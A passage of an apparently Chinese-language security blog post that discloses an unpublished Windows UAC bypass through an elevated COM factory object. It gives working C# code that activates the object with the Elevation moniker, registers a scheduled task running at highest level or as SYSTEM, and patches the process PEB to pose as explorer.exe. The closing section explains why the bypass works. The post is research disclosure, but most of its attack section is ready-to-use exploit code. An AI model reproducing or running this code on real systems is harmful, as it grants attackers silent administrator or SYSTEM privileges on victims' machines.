alt=&quot;2-6.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;此时我们拿到了COM调用必需的`CLSID`、`IID`、`虚函数表`、`方法签名`，稍作整理即可得到以下`IDL`：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-cpp&quot;&gt;[uuid(804bd226-af47-4d71-b492-443a57610b08)]
interface&amp;nbsp;IElevatedFactoryServer&amp;nbsp;:&amp;nbsp;IUnknown&amp;nbsp;{
HRESULT&amp;nbsp;_stdcall&amp;nbsp;ServerCreateInstance(REFCLSID&amp;nbsp;rclsid,REFIID&amp;nbsp;riid,LPVOID*&amp;nbsp;ppvobj);
};
[uuid(A6BFEA43-501F-456F-A845-983D3AD7B8F0)]
coclass&amp;nbsp;ElevatedFactoryServer&amp;nbsp;{
interface&amp;nbsp;IElevatedFactoryServer;
};&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x04 调用&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;获取到`IDL`之后，直接使用合适的语言进行调用即可，例如转换为C#等价`Interop`代码：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;[Guid(&amp;quot;804bd226-af47-4d71-b492-443a57610b08&amp;quot;)]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface&amp;nbsp;IElevatedFactoryServer
{
[return:&amp;nbsp;MarshalAs(UnmanagedType.Interface)]
object&amp;nbsp;ServerCreateElevatedObject([In,&amp;nbsp;MarshalAs(UnmanagedType.LPStruct)]&amp;nbsp;Guid&amp;nbsp;rclsid,&amp;nbsp;[In,&amp;nbsp;MarshalAs(UnmanagedType.LPStruct)]&amp;nbsp;Guid&amp;nbsp;riid);
}&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们需要创建`提升后的（Elevated）`COM对象，所以必须使用`CoGetObject`结合`Elevation Moniker`进行激活：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;BIND_OPTS3&amp;nbsp;opt&amp;nbsp;=&amp;nbsp;new&amp;nbsp;BIND_OPTS3();
opt.cbStruct&amp;nbsp;=&amp;nbsp;(uint)Marshal.SizeOf(opt);
opt.dwClassContext&amp;nbsp;=&amp;nbsp;4;
var&amp;nbsp;srv&amp;nbsp;=&amp;nbsp;CoGetObject(&amp;quot;Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}&amp;quot;,&amp;nbsp;ref&amp;nbsp;opt,&amp;nbsp;new&amp;nbsp;Guid(&amp;quot;{00000000-0000-0000-C000-000000000046}&amp;quot;))&amp;nbsp;as&amp;nbsp;IElevatedFactoryServer;&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;随后调用`ServerCreateElevatedObject`方法获取`ITaskService`实例：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;var&amp;nbsp;svc&amp;nbsp;=&amp;nbsp;srv.ServerCreateElevatedObject(new&amp;nbsp;Guid(&amp;quot;{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}&amp;quot;),&amp;nbsp;new&amp;nbsp;Guid(&amp;quot;{00000000-0000-0000-C000-000000000046}&amp;quot;))&amp;nbsp;as&amp;nbsp;ITaskService;&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;这个`ITaskService`实例实际上在提升后的进程中运行，所以可使用`TASK_RUNLEVEL_HIGHEST`标记创建以完整令牌运行的计划任务，这等价于将xml文件`Task\Principals\Principal\RunLevel`的值指定为`HighestAvailable`：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-markup&quot;&gt;&amp;lt;Principals&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;Principal&amp;nbsp;id=&amp;quot;Author&amp;quot;&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;RunLevel&amp;gt;HighestAvailable&amp;lt;/RunLevel&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/Principal&amp;gt;
&amp;lt;/Principals&amp;gt;&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;使用此`xml`进行注册：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;svc.Connect();
var&amp;nbsp;folder&amp;nbsp;=&amp;nbsp;svc.GetFolder(&amp;quot;\\&amp;quot;);
var&amp;nbsp;task&amp;nbsp;=&amp;nbsp;folder.RegisterTask(&amp;quot;Test&amp;nbsp;Task&amp;quot;,&amp;nbsp;xml,&amp;nbsp;0,&amp;nbsp;null,&amp;nbsp;null,&amp;nbsp;TaskLogonType.InteractiveToken,&amp;nbsp;null);
task.Run(null);&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;以及不要忘记对当前进程`PEB`进行Patch：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-csharp&quot;&gt;var&amp;nbsp;fake&amp;nbsp;=&amp;nbsp;&amp;quot;explorer.exe&amp;quot;;
var&amp;nbsp;fake2&amp;nbsp;=&amp;nbsp;@&amp;quot;c:\windows\explorer.exe&amp;quot;;
var&amp;nbsp;PPEB&amp;nbsp;=&amp;nbsp;RtlGetCurrentPeb();
PEB&amp;nbsp;PEB&amp;nbsp;=&amp;nbsp;(PEB)Marshal.PtrToStructure(PPEB,&amp;nbsp;typeof(PEB));
bool&amp;nbsp;x86&amp;nbsp;=&amp;nbsp;Marshal.SizeOf(typeof(IntPtr))&amp;nbsp;==&amp;nbsp;4;
var&amp;nbsp;pImagePathName&amp;nbsp;=&amp;nbsp;new&amp;nbsp;IntPtr(PEB.ProcessParameters.ToInt64()&amp;nbsp;+&amp;nbsp;(x86&amp;nbsp;?&amp;nbsp;0x38&amp;nbsp;:&amp;nbsp;0x60));
var&amp;nbsp;pCommandLine&amp;nbsp;=&amp;nbsp;new&amp;nbsp;IntPtr(PEB.ProcessParameters.ToInt64()&amp;nbsp;+&amp;nbsp;(x86&amp;nbsp;?&amp;nbsp;0x40&amp;nbsp;:&amp;nbsp;0x70));
RtlInitUnicodeString(pImagePathName,&amp;nbsp;fake2);
RtlInitUnicodeString(pCommandLine,&amp;nbsp;fake2);

PEB_LDR_DATA&amp;nbsp;PEB_LDR_DATA&amp;nbsp;=&amp;nbsp;(PEB_LDR_DATA)Marshal.PtrToStructure(PEB.Ldr,&amp;nbsp;typeof(PEB_LDR_DATA));
LDR_DATA_TABLE_ENTRY&amp;nbsp;LDR_DATA_TABLE_ENTRY;
var&amp;nbsp;pFlink&amp;nbsp;=&amp;nbsp;new&amp;nbsp;IntPtr(PEB_LDR_DATA.InLoadOrderModuleList.Flink.ToInt64());
var&amp;nbsp;first&amp;nbsp;=&amp;nbsp;pFlink;
do
{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LDR_DATA_TABLE_ENTRY&amp;nbsp;=&amp;nbsp;(LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(pFlink,&amp;nbsp;typeof(LDR_DATA_TABLE_ENTRY));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(LDR_DATA_TABLE_ENTRY.FullDllName.Buffer.ToInt64()&amp;nbsp;&amp;lt;&amp;nbsp;0&amp;nbsp;||&amp;nbsp;LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer.ToInt64()&amp;nbsp;&amp;lt;&amp;nbsp;0)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pFlink&amp;nbsp;=&amp;nbsp;LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;continue;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(Marshal.PtrToStringUni(LDR_DATA_TABLE_ENTRY.FullDllName.Buffer).EndsWith(&amp;quot;.exe&amp;quot;))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RtlInitUnicodeString(new&amp;nbsp;IntPtr(pFlink.ToInt64()&amp;nbsp;+&amp;nbsp;(x86&amp;nbsp;?&amp;nbsp;0x24&amp;nbsp;:&amp;nbsp;0x48)),&amp;nbsp;fake2);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RtlInitUnicodeString(new&amp;nbsp;IntPtr(pFlink.ToInt64()&amp;nbsp;+&amp;nbsp;(x86&amp;nbsp;?&amp;nbsp;0x2c&amp;nbsp;:&amp;nbsp;0x58)),&amp;nbsp;fake);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LDR_DATA_TABLE_ENTRY&amp;nbsp;=&amp;nbsp;(LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(pFlink,&amp;nbsp;typeof(LDR_DATA_TABLE_ENTRY));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;catch&amp;nbsp;{&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pFlink&amp;nbsp;=&amp;nbsp;LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink;
}&amp;nbsp;while&amp;nbsp;(pFlink&amp;nbsp;!=&amp;nbsp;first);&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;编译执行，不出意外的话我们将以提升后的身份运行xml中指定的命令（这里是cmd）：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2022/06/202206211655800410820219.png&quot; title=&quot;2-7.png&quot; alt=&quot;2-7.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;至此，我们成功的发现了一个未公开的`UAC Bypass`。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;但这并不是结束。我们前面提到了修改XML文件`Principal`节点的值来注册以完整令牌运行的计划任务，而这个XML节点架构定义记录于&lt;a href=&quot;https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/b9420a4c-fe40-45a0-ae85-2d57e051409b&quot; target=&quot;_self&quot;&gt;`MS-TSCH 2.5.6 Principal Schema Part`&lt;/a&gt;。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;根据文档所述，`Principal`节点可包含子节点`UserId`，用于提供计划任务执行时的用户身份信息，其格式可以为`用户名`、`SID`、`UPN`、`FQDN`。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;所以我们可以在XML中指定`UserId`为`SYSTEM`：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-markup&quot;&gt;&amp;lt;Principals&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;Principal&amp;nbsp;id=&amp;quot;Author&amp;quot;&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;UserId&amp;gt;SYSTEM&amp;lt;/UserId&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;RunLevel&amp;gt;HighestAvailable&amp;lt;/RunLevel&amp;gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/Principal&amp;gt;
&amp;lt;/Principals&amp;gt;&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;随后，我们指定的命令将直接以`SYSTEM`身份运行：&lt;/p&gt;&lt;p style=&quot;text-indent: 2em; text-align: center;&quot;&gt;&lt;img src=&quot;http://www.zcgonvh.com/zb_users/upload/2022/06/202206211655800457681993.png&quot; title=&quot;2-8.png&quot; alt=&quot;2-8.png&quot;/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;即：我们通过一次`无文件`的`UACBypass`，`直接`获取到`SYSTEM`权限。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;0x05 原理&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;至此，单纯的“安全研究”至武器化落地已经结束了。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;但从纯粹知识的领域，这还不够。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;请把思维暂时回溯至*0x01 基础*一节，重新打开MSDN，对比完整的目标注册表项，在最后来为本文补充一个最为重要的理论依据。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;我们知道经过UAC提升的COM对象需要使用`CoGetObject`函数，结合`Elevation Moniker`进行激活，这个行为记录在&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker&quot; target=&quot;_self&quot;&gt;https://docs.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker&lt;/a&gt;。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;参考文章代码，我们注意到在微软的示例中采用`CLSCTX_LOCAL_SERVER`作为激活上下文标记，这表示要求DCOMLaunch创建一个新的进程外COM对象，`A6BFEA43-501F-456F-A845-983D3AD7B8F0`对象仅配置了`InProcServer32`，这将导致&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/com/registering-the-dll-server-for-surrogate-activation&quot; target=&quot;_self&quot;&gt;`代理激活（Surrogate Activation）`&lt;/a&gt;。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;关于代理激活有两个重要的点：首先从安全研究角度，配置了`APPID`的代理激活往往存在自定义权限检查。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;参考文档&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/com/launchpermission&quot; target=&quot;_self&quot;&gt;https://docs.microsoft.com/en-us/windows/win32/com/launchpermission&lt;/a&gt;与&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/com/accesspermission&quot; target=&quot;_self&quot;&gt;https://docs.microsoft.com/en-us/windows/win32/com/accesspermission&lt;/a&gt;，默认隐式权限检查由注册表项`HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{APPID}@LaunchPermission`、`HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{APPID}@AccessPermission`共同决定，其值为二进制格式表示的安全描述符`Security Descriptor(SD) binary form`。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;所以我们需要确认能够进行调用。二进制格式的安全描述符并非可读格式，采用Powershell进行解析后输出：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-powershell&quot;&gt;$x=get-itemproperty&amp;nbsp;&amp;#39;hklm:\software\classes\appid\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}&amp;#39;
(new-object&amp;nbsp;System.Security.AccessControl.RawSecurityDescriptor($x.LaunchPermission,0)).DiscretionaryAcl|fl
(new-object&amp;nbsp;System.Security.AccessControl.RawSecurityDescriptor($x.AccessPermission,0)).DiscretionaryAcl|fl&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;将得到类似下面的结果：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-markup&quot;&gt;BinaryLength&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp;20
AceQualifier&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp;AccessAllowed
IsCallback&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp;False
OpaqueLength&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp;0
AccessMask&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp;3
SecurityIdentifier&amp;nbsp;:&amp;nbsp;S-1-5-4
AceType&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp;AccessAllowed
AceFlags&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp;None
IsInherited&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp;False
InheritanceFlags&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp;None
PropagationFlags&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp;None
AuditFlags&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp;None&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;参考&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/secauthz/well-known-sids&quot; target=&quot;_self&quot;&gt;https://docs.microsoft.com/en-us/windows/win32/secauthz/well-known-sids&lt;/a&gt;，`S-1-5-4`对应`NT AUTHORITY\INTERACTIVE`，任何通过交互式登录的用户都将授予该组身份，通过`whoami /groups`也能够确认这一点：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-markup&quot;&gt;whoami&amp;nbsp;/groups
组信息
-----------------
组名&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;类型&amp;nbsp;&amp;nbsp;&amp;nbsp;SID&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;属性
======================================&amp;nbsp;======&amp;nbsp;============&amp;nbsp;==============================
Everyone&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;已知组&amp;nbsp;S-1-1-0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;必需的组,&amp;nbsp;启用于默认,&amp;nbsp;启用的组
NT&amp;nbsp;AUTHORITY\本地帐户和管理员组成员&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;已知组&amp;nbsp;S-1-5-114&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;只用于拒绝的组
BUILTIN\Administrators&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;别名&amp;nbsp;&amp;nbsp;&amp;nbsp;S-1-5-32-544&amp;nbsp;只用于拒绝的组
BUILTIN\Performance&amp;nbsp;Log&amp;nbsp;Users&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;别名&amp;nbsp;&amp;nbsp;&amp;nbsp;S-1-5-32-559&amp;nbsp;必需的组,&amp;nbsp;启用于默认,&amp;nbsp;启用的组
BUILTIN\Users&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;别名&amp;nbsp;&amp;nbsp;&amp;nbsp;S-1-5-32-545&amp;nbsp;必需的组,&amp;nbsp;启用于默认,&amp;nbsp;启用的组
NT&amp;nbsp;AUTHORITY\INTERACTIVE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;已知组&amp;nbsp;S-1-5-4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;必需的组,&amp;nbsp;启用于默认,&amp;nbsp;启用的组
CONSOLE&amp;nbsp;LOGON&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;已知组&amp;nbsp;S-1-2-1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;必需的组,&amp;nbsp;启用于默认,&amp;nbsp;启用的组
NT&amp;nbsp;AUTHORITY\Authenticated&amp;nbsp;Users&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;已知组&amp;nbsp;S-1-5-11&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;必需的组,&amp;nbsp;启用于默认,&amp;nbsp;启用的组
NT&amp;nbsp;AUTHORITY\This&amp;nbsp;Organization&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;已知组&amp;nbsp;S-1-5-15&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;必需的组,&amp;nbsp;启用于默认,&amp;nbsp;启用的组
NT&amp;nbsp;AUTHORITY\本地帐户&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;已知组&amp;nbsp;S-1-5-113&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;必需的组,&amp;nbsp;启用于默认,&amp;nbsp;启用的组
LOCAL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;已知组&amp;nbsp;S-1-2-0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;必需的组,&amp;nbsp;启用于默认,&amp;nbsp;启用的组
NT&amp;nbsp;AUTHORITY\NTLM&amp;nbsp;Authentication&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;已知组&amp;nbsp;S-1-5-64-10&amp;nbsp;&amp;nbsp;必需的组,&amp;nbsp;启用于默认,&amp;nbsp;启用的组
Mandatory&amp;nbsp;Label\Medium&amp;nbsp;Mandatory&amp;nbsp;Level&amp;nbsp;标签&amp;nbsp;&amp;nbsp;&amp;nbsp;S-1-16-8192&lt;/pre&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;所以，作为交互式登录的我们才有权限激活以及调用提升后的COM组件。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;其次，从程序设计角度，我们查看关于`COM Proxy`的定义。按照&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/com/proxy&quot; target=&quot;_self&quot;&gt;https://docs.microsoft.com/en-us/windows/win32/com/proxy&lt;/a&gt;所述，代理对象驻留在调用方进程，充当远程对象的代理，在调用方看来，对代理对象的调用和直接调用真实对象并无区别。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;这是一个完整的`对象代理`，应用且遵循`代理模式`，即代理对象的`表现形式`、`暴露方法`、`调用方式`与真实对象`完全相同`。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;从Web安全的角度，可以理解为`ysoserial`里面到处都在用的`InvocationHandler`或`Util`返回的那个泛型对象，或是你用`RetransformAgent`劫持`Tomcat Filter`、`Spring Controller`之后，为了不影响业务而做的那个`Wrapper`；从开发的角度，等同于你用过的任何AOP。&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;p style=&quot;text-indent: 2em;&quot;&gt;所以我们在`0x04 调用`所进行的操作可以翻译为：&lt;/p&gt;&lt;p style=&quot;text-indent: 